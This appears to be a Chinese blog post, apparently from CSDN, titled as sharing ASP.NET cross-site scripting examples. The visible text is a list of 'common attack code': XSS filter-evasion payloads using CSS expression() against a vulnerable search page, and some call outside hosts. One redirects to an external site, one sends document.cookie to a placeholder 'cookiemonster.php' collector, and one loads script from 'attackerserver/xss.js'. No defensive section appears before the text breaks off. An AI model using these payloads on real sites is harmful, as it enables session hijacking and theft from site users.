Asp.net跨站脚本攻击XSS实例分享

最新推荐文章于 2024-06-30 08:00:00 发布

yangzhenping

最新推荐文章于 2024-06-30 08:00:00 发布

阅读量6.9k

点赞数

分类专栏： ASP.NET C# 互联网网站安全 .net 文章标签： asp.net 脚本代码实例 XSS

本文链接：https://blog.csdn.net/yangzhenping/article/details/49024615

版权

本文分享了Asp.net中的跨站脚本攻击（XSS）实例，提供了攻击代码和防御策略，包括OWASP的XSS Filter Evasion Cheat Sheet与XSS Prevention Cheat Sheet，并列出多个实例链接供读者深入学习。

摘要由CSDN通过智能技术生成

Asp.net跨站脚本攻击XSS实例分享

常用攻击代码：

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> 
Redirection Attack 

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.xxx.com")> 
Cookie stealing 

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:e/**/xpression(window.location= 
"http://www.xxx.com/cookiemonster.php?sid="%2bdocument.cookie)> 
Unrestricted HTML injection from external '.js' file 

http://target/vuln-search.aspx?term= 
</XSS/*-*/STYLE=xss:expression(myScript=document.body.appendChild 
(document.createElement("script")))> 

</XSS/*-*/STYLE=xss:expression(myScript.setAttribute("src","http://attackerserver/xss.js"))> 
where 'xss.js&